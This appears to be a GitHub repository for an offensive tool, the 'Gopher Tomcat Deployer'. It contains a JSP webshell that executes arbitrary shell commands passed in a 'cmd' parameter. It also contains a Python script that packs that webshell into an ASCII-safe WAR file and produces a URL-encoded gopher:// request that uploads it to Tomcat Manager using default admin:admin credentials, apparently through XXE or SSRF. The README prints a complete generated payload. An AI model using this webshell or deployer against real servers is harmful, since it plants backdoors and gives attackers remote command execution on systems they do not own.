├── LICENSE ├── README.md ├── cmd.jsp └── gopher-tomcat-deployer.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 pimps 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Gopher Tomcat Deployer 2 | 3 | ## Video 4 | 5 | [](http://www.youtube.com/watch?v=PQDZlYN0cAk "XXE to RCE with gopher") 6 | 7 | 8 | ## Usage 9 | 10 | ``` 11 | $ python gopher-tomcat-deployer.py -h 12 | ============================================================================= 13 | | GOPHER TOMCAT DEPLOYER v0.1 | 14 | | by pimps and alec | 15 | ============================================================================= 16 | 17 | usage: gopher-tomcat-deployer.py [-h] [-o OUTPUT] [-u USER] [-p PASSWORD] 18 | [-t TARGET] [-pt PORT] 19 | webshell 20 | 21 | positional arguments: 22 | webshell Path to a .jsp web backdoor 23 | 24 | optional arguments: 25 | -h, --help show this help message and exit 26 | -o OUTPUT, --output OUTPUT Output file name (default: cmd.war) 27 | -u USER, --user USER Tomcat user (default: admin) 28 | -p PASSWORD, --password PASSWORD Tomcat password (default: admin) 29 | -t TARGET, --target TARGET Target Tomcat IP address (default = 30 | 127.0.0.1) 31 | -pt PORT, --port PORT Target Tomcat port (default = 8080) 32 | 33 | This script will generate a GOPHER request to deploy a malicious application 34 | in the Tomcat Manager. The GOPHER protocol is ASCII only and this script makes 35 | sure that the generated malicious war file will properly work when deployed. 36 | This script was tested against Tomcat 6. 37 | 38 | ``` 39 | 40 | ``` 41 | $ python gopher-tomcat-deployer.py -u admin -p admin -t 127.0.0.1 -pt 8080 cmd.jsp 42 | 43 | ============================================================================= 44 | | GOPHER TOMCAT DEPLOYER v0.1 | 45 | | by pimps and alec | 46 | ============================================================================= 47 | 48 | Original file length: 00000360 49 | Original file crc32: f724925e 50 | The input file CRC32 or file length contained an invalid byte. 51 | Length adjustment completed. 2 whitespace ' ' chars were added to the webshell input. 52 | New file length: 00000362 53 | New file crc32: d50a6303 54 | [+] Creating new zip file: cmd.war 55 | [+] Validating created war file... cmd.war 56 | [-] Invalid checksum/offset found in zip file. Adding white space and trying again... 57 | Original file length: 00000363 58 | Original file crc32: 70b0949c 59 | The input file CRC32 or file length contained an invalid byte. 60 | Length adjustment completed. 2 whitespace ' ' chars were added to the webshell input. 61 | New file length: 00000365 62 | New file crc32: c5a5f46e 63 | [+] Creating new zip file: cmd.war 64 | [+] Validating created war file... cmd.war 65 | [-] Invalid checksum/offset found in zip file. Adding white space and trying again... 66 | Original file length: 00000366 67 | Original file crc32: 43a326ee 68 | [+] Creating new zip file: cmd.war 69 | [+] Validating created war file... cmd.war 70 | [-] Invalid checksum/offset found in zip file. Adding white space and trying again... 71 | Original file length: 00000367 72 | Original file crc32: ae9da31c 73 | The input file CRC32 or file length contained an invalid byte. 74 | Length adjustment completed. 1 whitespace ' ' chars were added to the webshell input. 75 | New file length: 00000368 76 | New file crc32: fdc30ea9 77 | [+] Creating new zip file: cmd.war 78 | [+] Validating created war file... cmd.war 79 | [-] Invalid checksum/offset found in zip file. Adding white space and trying again... 80 | 81 | [ SNIP FOR BREVITY ] 82 | 83 | Original file length: 000003FA 84 | Original file crc32: 83d9dad0 85 | The input file CRC32 or file length contained an invalid byte. 86 | Length adjustment completed. 1 whitespace ' ' chars were added to the webshell input. 87 | New file length: 000003FB 88 | New file crc32: 6f3cc44b 89 | [+] Creating new zip file: cmd.war 90 | [+] Validating created war file... cmd.war 91 | [-] Invalid checksum/offset found in zip file. Adding white space and trying again... 92 | Original file length: 000003FC 93 | Original file crc32: 80d6b99 94 | The input file CRC32 or file length contained an invalid byte. 95 | Length adjustment completed. 4 whitespace ' ' chars were added to the webshell input. 96 | New file length: 00000400 97 | New file crc32: 286e4e38 98 | [+] Creating new zip file: cmd.war 99 | [+] Validating created war file... cmd.war 100 | [+] Valid WAR file generated... Creating the gopher payload now... 101 | [+] Payload generated with success: 102 | ------------------------------------------------------------------------ 103 | gopher://127.0.0.1:8080/_%50%4f%53%54%20%2f%6d%61%6e%61%67%65%72%2f%68%74%6d%6c%2f%75%70%6c%6f%61%64%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%38%30%38%30%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%6d%75%6c%74%69%70%61%72%74%2f%66%6f%72%6d%2d%64%61%74%61%3b%20%62%6f%75%6e%64%61%72%79%3d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%31%35%31%30%33%32%31%34%32%39%37%31%35%35%34%39%36%36%33%33%33%34%37%36%32%38%34%31%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%33%37%30%0d%0a%41%75%74%68%6f%72%69%7a%61%74%69%6f%6e%3a%20%42%61%73%69%63%20%59%57%52%74%61%57%34%36%59%57%52%74%61%57%34%3d%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%0d%0a%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%31%35%31%30%33%32%31%34%32%39%37%31%35%35%34%39%36%36%33%33%33%34%37%36%32%38%34%31%0d%0a%43%6f%6e%74%65%6e%74%2d%44%69%73%70%6f%73%69%74%69%6f%6e%3a%20%66%6f%72%6d%2d%64%61%74%61%3b%20%6e%61%6d%65%3d%22%64%65%70%6c%6f%79%57%61%72%22%3b%20%66%69%6c%65%6e%61%6d%65%3d%22%63%6d%64%2e%77%61%72%22%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%6f%63%74%65%74%2d%73%74%72%65%61%6d%0d%0a%0d%0a%50%4b%03%04%14%00%00%00%00%00%00%00%21%00%38%4e%6e%28%00%04%00%00%00%04%00%00%07%00%00%00%63%6d%64%2e%6a%73%70%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%75%74%69%6c%2e%2a%2c%6a%61%76%61%2e%69%6f%2e%2a%22%25%3e%0d%0a%3c%25%0d%0a%2f%2f%0d%0a%2f%2f%20%4a%53%50%5f%4b%49%54%0d%0a%2f%2f%0d%0a%2f%2f%20%63%6d%64%2e%6a%73%70%20%3d%20%43%6f%6d%6d%61%6e%64%20%45%78%65%63%75%74%69%6f%6e%20%28%75%6e%69%78%29%0d%0a%2f%2f%0d%0a%2f%2f%20%62%79%3a%20%55%6e%6b%6e%6f%77%6e%0d%0a%2f%2f%20%6d%6f%64%69%66%69%65%64%3a%20%32%37%2f%30%36%2f%32%30%30%33%0d%0a%2f%2f%0d%0a%25%3e%0d%0a%3c%48%54%4d%4c%3e%3c%42%4f%44%59%3e%0d%0a%3c%46%4f%52%4d%20%4d%45%54%48%4f%44%3d%22%47%45%54%22%20%4e%41%4d%45%3d%22%6d%79%66%6f%72%6d%22%20%41%43%54%49%4f%4e%3d%22%22%3e%0d%0a%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%74%65%78%74%22%20%4e%41%4d%45%3d%22%63%6d%64%22%3e%0d%0a%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%73%75%62%6d%69%74%22%20%56%41%4c%55%45%3d%22%53%65%6e%64%22%3e%0d%0a%3c%2f%46%4f%52%4d%3e%0d%0a%3c%70%72%65%3e%0d%0a%3c%25%0d%0a%69%66%20%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%22%43%6f%6d%6d%61%6e%64%3a%20%22%20%2b%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%20%2b%20%22%3c%42%52%3e%22%29%3b%0d%0a%20%20%20%20%20%20%20%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%29%3b%0d%0a%20%20%20%20%20%20%20%20%4f%75%74%70%75%74%53%74%72%65%61%6d%20%6f%73%20%3d%20%70%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%3b%0d%0a%20%20%20%20%20%20%20%20%49%6e%70%75%74%53%74%72%65%61%6d%20%69%6e%20%3d%20%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%3b%0d%0a%20%20%20%20%20%20%20%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%20%64%69%73%20%3d%20%6e%65%77%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%28%69%6e%29%3b%0d%0a%20%20%20%20%20%20%20%20%53%74%72%69%6e%67%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%0d%0a%20%20%20%20%20%20%20%20%77%68%69%6c%65%20%28%20%64%69%73%72%20%21%3d%20%6e%75%6c%6c%20%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%64%69%73%72%29%3b%20%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%25%3e%0d%0a%3c%2f%70%72%65%3e%0d%0a%3c%2f%42%4f%44%59%3e%3c%2f%48%54%4d%4c%3e%0d%0a%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%50%4b%01%02%14%03%14%00%00%00%00%00%00%00%21%00%38%4e%6e%28%00%04%00%00%00%04%00%00%07%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%63%6d%64%2e%6a%73%70%50%4b%05%06%00%00%00%00%01%00%01%00%35%00%00%00%25%04%00%00%00%00%0d%0a%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%31%35%31%30%33%32%31%34%32%39%37%31%35%35%34%39%36%36%33%33%33%34%37%36%32%38%34%31%2d%2d%0d%0a 104 | ------------------------------------------------------------------------ 105 | HACK THE PLANET!!1!11! 106 | ``` 107 | 108 | -------------------------------------------------------------------------------- /cmd.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.util.*,java.io.*"%> 2 | <% 3 | // 4 | // JSP_KIT 5 | // 6 | // cmd.jsp = Command Execution (unix) 7 | // 8 | // by: Unknown 9 | // modified: 27/06/2003 10 | // 11 | %> 12 |
13 | 17 |18 | <% 19 | if (request.getParameter("cmd") != null) { 20 | out.println("Command: " + request.getParameter("cmd") + "33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /gopher-tomcat-deployer.py: -------------------------------------------------------------------------------- 1 | import zipfile 2 | import binascii 3 | import sys 4 | import getopt 5 | import urllib 6 | import re 7 | import base64 8 | import argparse 9 | 10 | 11 | def get_args(): 12 | parser = argparse.ArgumentParser( prog="gopher-tomcat-deployer.py", 13 | formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50), 14 | epilog= ''' 15 | This script will generate a GOPHER request to deploy a malicious application in 16 | the Tomcat Manager. The GOPHER protocol is ASCII only and this script makes sure 17 | that the generated malicious war file will properly work when deployed. 18 | This script was tested against Tomcat 6. 19 | ''') 20 | parser.add_argument("webshell", help="Path to a .jsp web backdoor") 21 | parser.add_argument("-o", "--output", default="cmd.war", help="Output file name (default: cmd.war)") 22 | parser.add_argument("-u", "--user", default="admin", help="Tomcat user (default: admin)") 23 | parser.add_argument("-p", "--password", default="admin", help="Tomcat password (default: admin)") 24 | parser.add_argument("-t", "--target", default="127.0.0.1", help="Target Tomcat IP address (default = 127.0.0.1)") 25 | parser.add_argument("-pt", "--port", default="8080", help="Target Tomcat port (default = 8080)") 26 | args = parser.parse_args() 27 | return args 28 | 29 | def main(): 30 | 31 | print 32 | print '=============================================================================' 33 | print '| GOPHER TOMCAT DEPLOYER v0.1 |' 34 | print '| by pimps and alec |' 35 | print '=============================================================================\n' 36 | 37 | args = get_args() # get the cl args 38 | 39 | inputfile = args.webshell.strip() 40 | outputfile = args.output.strip() 41 | tomcat_user = args.user.strip() 42 | tomcat_password = args.password.strip() 43 | tomcat_address = args.target.strip() 44 | tomcat_port = args.port.strip() 45 | 46 | with open(inputfile, 'r') as f: 47 | webshell_data = f.read() 48 | 49 | valid_encoded_zip = 0 50 | appended_whitespace = 0 51 | while valid_encoded_zip == 0: 52 | webshell_data = validate_webshell_length_and_crc32(webshell_data) 53 | print "[+] Creating new zip file: " + outputfile 54 | create_war_zip_file(outputfile,inputfile,webshell_data) 55 | print "[+] Validating created war file... " + outputfile 56 | valid_encoded_zip = validate_zipfile(outputfile) 57 | if valid_encoded_zip == 0: 58 | print "[-] Invalid checksum/offset found in zip file. Adding white space and trying again..." 59 | webshell_data += ' ' 60 | appended_whitespace += 1 61 | else: 62 | print "[+] Valid WAR file generated... Creating the gopher payload now..." 63 | gopher_payload = build_gopher_payload(tomcat_address, tomcat_port, tomcat_user, tomcat_password, outputfile) 64 | print "[+] Payload generated with success: " 65 | print "------------------------------------------------------------------------" 66 | print "gopher://127.0.0.1:8080/_{gopher_payload}".format(gopher_payload=gopher_payload) 67 | print "------------------------------------------------------------------------" 68 | print "HACK THE PLANET!!1!11!" 69 | 70 | def create_war_zip_file(war_filename,inputfile,webshell_data): 71 | warzip = zipfile.ZipFile(war_filename,'w') 72 | # Write a known good date/war_filename stamp - this date/time does not contain and invalid byte values 73 | info = zipfile.ZipInfo(inputfile,date_time=(1980, 1, 1, 0, 0, 0)) 74 | # Write out the webshell the zip file. 75 | warzip.writestr(info,webshell_data) 76 | warzip.close() 77 | 78 | 79 | def validate_webshell_length_and_crc32(webshell_data): 80 | valid_length=0 81 | valid_crc32=0 82 | modded_length=0 83 | 84 | 85 | print "Original file length: " +'{0:0{1}X}'.format(len(webshell_data),8) 86 | print "Original file crc32: " + format(binascii.crc32(webshell_data)& 0xffffffff, 'x') 87 | while valid_length == 0 or valid_crc32 == 0: 88 | crc_string = format(binascii.crc32(webshell_data)& 0xffffffff, 'x') 89 | ws_len_byte_string = '{0:0{1}X}'.format(len(webshell_data),8) 90 | valid_length=1 91 | valid_crc32=1 92 | lead_byte_locations = [0,2,4,6] 93 | for x in lead_byte_locations: 94 | try: 95 | if(ws_len_byte_string[x] == '8' or ws_len_byte_string[x] == '9' or crc_string[x] == '8' or crc_string[x] == '9'): 96 | webshell_data = webshell_data+" " 97 | valid_length = 0 98 | valid_crc32 = 0 99 | modded_length = modded_length+1 100 | except: 101 | continue 102 | 103 | if modded_length > 0: 104 | print "The input file CRC32 or file length contained an invalid byte." 105 | print "Length adjustment completed. " + str(modded_length) + " whitespace ' ' chars were added to the webshell input." 106 | print "New file length: " +'{0:0{1}X}'.format(len(webshell_data),8) 107 | print "New file crc32: " + format(binascii.crc32(webshell_data)& 0xffffffff, 'x') 108 | return webshell_data 109 | 110 | def url_encode_all(string): 111 | return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string) 112 | 113 | def is_ascii(text): 114 | if isinstance(text, unicode): 115 | try: 116 | text.encode('ascii') 117 | except UnicodeEncodeError: 118 | return False 119 | else: 120 | try: 121 | text.decode('ascii') 122 | except UnicodeDecodeError: 123 | return False 124 | return True 125 | 126 | def validate_zipfile(warzip): 127 | entire_zip = "" 128 | with open(warzip, 'rb') as f: 129 | entire_zip = f.read() 130 | if(is_ascii(entire_zip) == False): 131 | return 0 132 | return 1 133 | 134 | 135 | def build_gopher_payload(host, port, tomcat_user, tomcat_pass, filename): 136 | warfile = "" 137 | with open(filename, 'rb') as f: 138 | warfile = f.read() 139 | headers = 'POST /manager/html/upload HTTP/1.1\r\n' 140 | headers += 'Host: {host}:{port}\r\n' 141 | headers += 'Content-Type: multipart/form-data; boundary=---------------------------1510321429715549663334762841\r\n' 142 | headers += 'Content-Length: {contentlength}\r\n' 143 | headers += 'Authorization: Basic {credential}\r\n' 144 | headers += 'Connection: close\r\n' 145 | headers += 'Upgrade-Insecure-Requests: 1\r\n' 146 | headers += '\r\n' 147 | headers += '{content_body}' 148 | 149 | content = '-----------------------------1510321429715549663334762841\r\n' 150 | content += 'Content-Disposition: form-data; name="deployWar"; filename="{filename}"\r\n' 151 | content += 'Content-Type: application/octet-stream\r\n' 152 | content += '\r\n' 153 | content += '{warfile}\r\n' 154 | content += '-----------------------------1510321429715549663334762841--\r\n' 155 | 156 | content_body = content.format( 157 | filename=filename, 158 | warfile=warfile 159 | ) 160 | payload = headers.format( 161 | host=host, 162 | port=port, 163 | credential=base64.b64encode(tomcat_user + ":" + tomcat_pass), 164 | contentlength=len(content_body), 165 | content_body=content_body 166 | ) 167 | return url_encode_all(payload) 168 | 169 | 170 | if __name__== "__main__": 171 | main() --------------------------------------------------------------------------------
"); 21 | Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); 22 | OutputStream os = p.getOutputStream(); 23 | InputStream in = p.getInputStream(); 24 | DataInputStream dis = new DataInputStream(in); 25 | String disr = dis.readLine(); 26 | while ( disr != null ) { 27 | out.println(disr); 28 | disr = dis.readLine(); 29 | } 30 | } 31 | %> 32 |